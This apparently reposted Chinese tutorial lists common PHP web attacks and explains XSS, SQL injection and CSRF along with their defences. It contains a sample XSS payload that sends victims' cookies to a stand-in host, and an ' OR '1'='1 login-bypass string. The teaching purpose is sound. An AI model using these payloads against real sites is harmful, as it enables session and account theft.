PHP网页的安全性问题

来源:互联网 发布:淘宝上碧欧泉是正品吗 编辑:程序博客网 时间:2024/04/30 15:48

针对PHP的网站主要存在下面几种攻击方式:

1.命令注入(Command Injection)

2.eval注入(Eval Injection)
3.客户端脚本攻击(Script Insertion)
4.跨网站脚本攻击(Cross Site Scripting, XSS)
跨站脚本攻击是另外一种常见的攻击方式,而且简单易用。看看下面的例子:

你开发了一个留言程序,这个程序允许用户发表留言,发表完留言后自动转向查看所有留言页面。如果有一个用户发表了这样一段留言

<script>document.location = ’’http://example.org/getcookies.php?cookies= ’’+ document.cookie;</script>

那么其他用户在查看所有留言的时候,都将“看到”这段代码,这段代码将被他们的浏览器执行,把他们机器上保存的COOKIE信息(有可能是个人账号、密码、电话等隐私信息)发送到另外一个指定的网站。

这可以通过对输出进行编码来防止,例如使用htmlentities()编码以后,上面这段代码将变成

&lt;script&gt;document.location = 'http://example.org/getcookies.php?cookies= '   + document.cookie;&lt;/script&gt;

因此也就不能造成危害了
5.SQL注入攻击(SQL injection)
在进行网站开发的时候,程序员由于对用户输人数据缺乏全面判断或者过滤不严导致服务器执行一些恶意信息,比如用户信息查询等。黑客可以根据恶意程序返回的结果获取相应的信息。这就是月行胃的SQL注入漏洞。
当使用用户输入作为SQL语句的组成部分时,很容易遭到SQL注入攻击。

例如采用方法进行登录验证时

$username = $_POST[’username’];$password = md5($_POST[’password’]);$sql = "SELECT * FROM users WHERE username='{$username}' AND password='{$password}'";如果恶意用户输入用户名为 ' OR '1' = '1,那么拼接成的SQL语句就变成了SELECT * FROM users WHERE username='' OR '1' = '1' AND password='...'这条语句将查询出数据库中所有的用户,恶意用户就顺利登陆了

使用*_escape_string()函数对数据进行编码后,再进行拼接,或者使用预处理SQL语句,可以有效地防止SQL注入。

例如使用*_escape_string()函数对恶意用户名编码后,用户名将变成 /’ OR /’1/’ = /’1

6.跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF)

跨站请求伪造(CSRF)

XSS攻击依靠的是用户对于网站程序的信任, 而CSRF攻击依靠的是网站对于用户的信任。例如:

一个恶意用户在网站购买书籍时候发现,用于购买请求采用GET方式提交,提交地址为http://yourhost/buybook.php?book_id=0129&qty=1

那么他就可以在其他站点上防置一个用于发送伪造请求的图片链接,这样其他用户在浏览包含一个这样的图片链接的网页的时候,就毫无察觉的发送了一个请求到购书网站。

对于大部分用户来说,这样的请求是无效的,因为他们并不是购书网站的用户。但是如果他正好也是这个购书网站用户,那么这个请求就真的将执行购买书的操作。

预防CSRF请求可以采取以下方
1)对于关键行为,避免使用get,REQUEST,只使用POST,这样只有用户主动点击提交按钮,才能发生一个购买行为。(当然伪造$_POST数据也很容易,比如在恶意网站上放一个查看按钮,而这个按钮实际上是发送一个购书请求)

2)对于关键行为,避免使用COOKIE数据对用户进行验证,使用SESSION可以保证只有用户登录过购书站点才能进行购书行为。

3)对于关键行为,设置令牌,例如

<?phpsession_start();$token = md5(uniqid(rand(), TRUE));//随机生成一个令牌$_SESSION[’token’] = $token;//存入SESSION?><form action="checkout.php" method="POST"><input type="hidden" name="token" value="<?php echo $token; ?>" /><!-- Remainder of form --></form>

这样,接收到提交数据后,就可以用SESSION中保存的令牌,与请求中的令牌进行比较,这样就可以完全防止伪造的请求。
7.Session 会话劫持(Session Hijacking)
8.Session 固定攻击(Session Fixation)
9.HTTP响应拆分攻击(HTTP Response Splitting)
10.文件上传漏洞(File Upload Attack)
11.目录穿越漏洞(Directory Traversal)
12.远程文件包含攻击(Remote Inclusion)
13.动态函数注入攻击(Dynamic Variable Evaluation)
14.URL攻击(URL attack)
15.伪造表单(Spoofed Form Submissions)
要知道不只你编写的表单可以给你自己提交数据,其他人也可以编写伪造表单来向你的站点提交数据,这样一来,你用JavaScript对表单进行的验证和过滤就都白写了。我们也可以使用$_SERVER[“HTTP_REFERER “]来判断上一页的地址是不是你自己站点的地址,但是HTTP_REFERER信息也是由客户端提供的,因此也不安全。 所以必须在服务器端对数据进行验证!
16.HTTP请求欺骗攻击(Spoofed HTTP Requests)

0 0
原创粉丝点击